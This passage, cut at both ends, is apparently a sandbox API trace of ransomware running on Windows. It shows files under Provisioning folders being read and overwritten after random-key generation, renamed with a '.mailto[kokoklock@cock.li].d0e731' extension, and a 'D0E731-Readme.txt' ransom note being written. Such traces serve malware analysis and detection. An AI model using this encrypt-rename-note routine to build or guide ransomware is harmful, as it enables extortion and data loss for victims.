(in: hFile=0x61c, lpBuffer=0x298bfaf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x298bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x298bfaf8*, lpNumberOfBytesRead=0x298bfaf4*=0x4, lpOverlapped=0x0) returned 1 [0083.920] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.920] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.920] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d6b8 [0083.920] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d2f8 [0083.920] NtQuerySystemTime (in: CurrentTime=0x298bfad0 | out: CurrentTime=0x298bfad0*=132121176418204586) returned 0x0 [0083.920] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xe2501c7b [0083.920] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x1321c47a [0083.920] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x876fb26b [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x5f6f5d7a [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x97a7f114 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x4c7d90f4 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xc61a479e [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x74eeb7f0 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x944f661b [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xe15ec515 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xae814450 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xfea5e618 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xd6da6142 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xe6e6a7e0 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xa5948853 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xfd9ab524 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xbf783ea [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xbdf83167 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xf4cb12da [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x71c05308 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xe75a6200 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x18c4efd9 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xa28cca23 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x8a2d93a3 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x7e55b4be [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xe992727a [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x608ca116 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xca80a701 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0xede1ac02 [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x21d98b [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x85070fed [0083.921] RtlRandom (in: Seed=0x298bfadc | out: Seed=0x298bfadc) returned 0x3fba2f9 [0083.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0083.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0083.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0083.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.932] ReadFile (in: hFile=0x61c, lpBuffer=0x348d230, nNumberOfBytesToRead=0x23f, lpNumberOfBytesRead=0x298bfad0, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x298bfad0*=0x23f, lpOverlapped=0x0) returned 1 [0083.932] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298bfa98 | out: lpNewFilePointer=0x0) returned 1 [0083.932] WriteFile (in: hFile=0x61c, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x23f, lpNumberOfBytesWritten=0x298bfacc, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x298bfacc*=0x23f, lpOverlapped=0x0) returned 1 [0083.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d730 [0083.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d730) returned 1 [0083.932] WriteFile (in: hFile=0x61c, lpBuffer=0x342d618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x298bfac8, lpOverlapped=0x0 | out: lpBuffer=0x342d618*, lpNumberOfBytesWritten=0x298bfac8*=0x20, lpOverlapped=0x0) returned 1 [0083.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.933] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0083.933] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0083.933] WriteFile (in: hFile=0x61c, lpBuffer=0x342d7d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x298bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x342d7d0*, lpNumberOfBytesWritten=0x298bfaf4*=0x8, lpOverlapped=0x0) returned 1 [0083.933] WriteFile (in: hFile=0x61c, lpBuffer=0x298bfb0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x298bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x298bfb0c*, lpNumberOfBytesWritten=0x298bfaf4*=0x4, lpOverlapped=0x0) returned 1 [0083.933] WriteFile (in: hFile=0x61c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x298bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x298bfaf4*=0x4, lpOverlapped=0x0) returned 1 [0083.933] WriteFile (in: hFile=0x61c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x298bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x298bfaf4*=0x6c, lpOverlapped=0x0) returned 1 [0083.934] WriteFile (in: hFile=0x61c, lpBuffer=0x342d6b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x298bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x342d6b8*, lpNumberOfBytesWritten=0x298bfaf4*=0x20, lpOverlapped=0x0) returned 1 [0083.934] WriteFile (in: hFile=0x61c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x298bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x298bfaf4*=0x4, lpOverlapped=0x0) returned 1 [0083.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6b8) returned 1 [0083.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6e0) returned 1 [0083.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7d0) returned 1 [0083.934] CloseHandle (hObject=0x61c) returned 1 [0083.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x34226e8 [0083.934] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" [0083.934] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0083.934] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0083.935] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0083.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0083.935] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0083.935] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0083.935] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\" [0083.935] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\D0E731-Readme.txt" [0083.936] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0083.936] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x61c [0083.936] WriteFile (in: hFile=0x61c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x298bfaf0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x298bfaf0*=0x481, lpOverlapped=0x0) returned 1 [0083.937] CloseHandle (hObject=0x61c) returned 1 [0083.937] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0083.937] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7e38) returned 1 [0083.937] RtlExitUserThread (Status=0x1) Thread: id = 1177 os_tid = 0x1304 [0083.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3486608 [0083.483] wcscpy (in: _Dest=0x3486608, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime" [0083.483] wcscat (in: _Dest=0x3486608, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\" [0083.483] wcscat (in: _Dest=0x3486608, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\*" [0083.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34a0e48 [0083.483] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\*", lpFindFileData=0x34a0e48 | out: lpFindFileData=0x34a0e48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0258 [0083.918] wcscmp (_String1=".", _String2=".") returned 0 [0083.918] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x34a0e48 | out: lpFindFileData=0x34a0e48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.918] wcscmp (_String1="..", _String2=".") returned 1 [0083.918] wcscmp (_String1="..", _String2="..") returned 0 [0083.918] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x34a0e48 | out: lpFindFileData=0x34a0e48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ecd6b4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ecd6b4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ecd6b4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0083.918] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2=".") returned 1 [0083.918] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2="..") returned 1 [0083.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a268 [0083.919] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime" [0083.919] wcscat (in: _Dest=0x342a268, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\" [0083.919] wcscat (in: _Dest=0x342a268, _Source="0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0084.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x342a268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0084.791] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x34a0e48 | out: lpFindFileData=0x34a0e48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ecd6b4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ecd6b4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ecd6b4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0084.791] FindClose (in: hFindFile=0x33e0258 | out: hFindFile=0x33e0258) returned 1 [0084.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a0e48) returned 1 [0084.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486608) returned 1 [0084.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431f10) returned 1 [0084.791] RtlExitUserThread (Status=0x0) Thread: id = 1178 os_tid = 0x1310 [0083.483] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml")) returned 0x20 [0083.900] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0083.900] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x764 [0083.900] GetFileSizeEx (in: hFile=0x764, lpFileSize=0x299bfe64 | out: lpFileSize=0x299bfe64*=258) returned 1 [0083.900] SetFilePointerEx (in: hFile=0x764, liDistanceToMove=0xfe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.900] ReadFile (in: hFile=0x764, lpBuffer=0x299bfe38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x299bfe34, lpOverlapped=0x0 | out: lpBuffer=0x299bfe38*, lpNumberOfBytesRead=0x299bfe34*=0x4, lpOverlapped=0x0) returned 1 [0083.901] SetFilePointerEx (in: hFile=0x764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d6b8 [0083.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d280 [0083.901] NtQuerySystemTime (in: CurrentTime=0x299bfe10 | out: CurrentTime=0x299bfe10*=132121176417892053) returned 0x0 [0083.901] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x63ea7767 [0083.901] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xe89dd013 [0083.901] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xd5f2e48 [0083.901] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xbed5714a [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x3431f3b1 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xad21e08f [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x175bf1a1 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x5e14a500 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xafc476a4 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x5cd0ab2c [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xc1be4923 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x99e4a8da [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xe84ce355 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x28baae9c [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xf80accdf [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x228d4cf5 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x5ceeceaf [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x6773c72d [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x825812fb [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x60f4dc37 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x62166ad8 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x1274a65c [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xb3a18129 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x8a5be310 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xcd5c7e78 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x5f844f15 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xabfd14a2 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xf9a5a27b [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xfe8cd797 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x5d982972 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0xff1b0071 [0083.902] RtlRandom (in: Seed=0x299bfe1c | out: Seed=0x299bfe1c) returned 0x7c28c69a [0083.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0083.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.913] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0083.913] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0083.913] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.913] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.913] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.913] ReadFile (in: hFile=0x764, lpBuffer=0x348d230, nNumberOfBytesToRead=0x102, lpNumberOfBytesRead=0x299bfe10, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x299bfe10*=0x102, lpOverlapped=0x0) returned 1 [0083.913] SetFilePointerEx (in: hFile=0x764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x299bfdd8 | out: lpNewFilePointer=0x0) returned 1 [0083.913] WriteFile (in: hFile=0x764, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x299bfe0c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x299bfe0c*=0x102, lpOverlapped=0x0) returned 1 [0083.913] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d730 [0083.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d730) returned 1 [0083.914] WriteFile (in: hFile=0x764, lpBuffer=0x342d618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x299bfe08, lpOverlapped=0x0 | out: lpBuffer=0x342d618*, lpNumberOfBytesWritten=0x299bfe08*=0x20, lpOverlapped=0x0) returned 1 [0083.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0083.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0083.914] WriteFile (in: hFile=0x764, lpBuffer=0x342d6e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x299bfe34, lpOverlapped=0x0 | out: lpBuffer=0x342d6e0*, 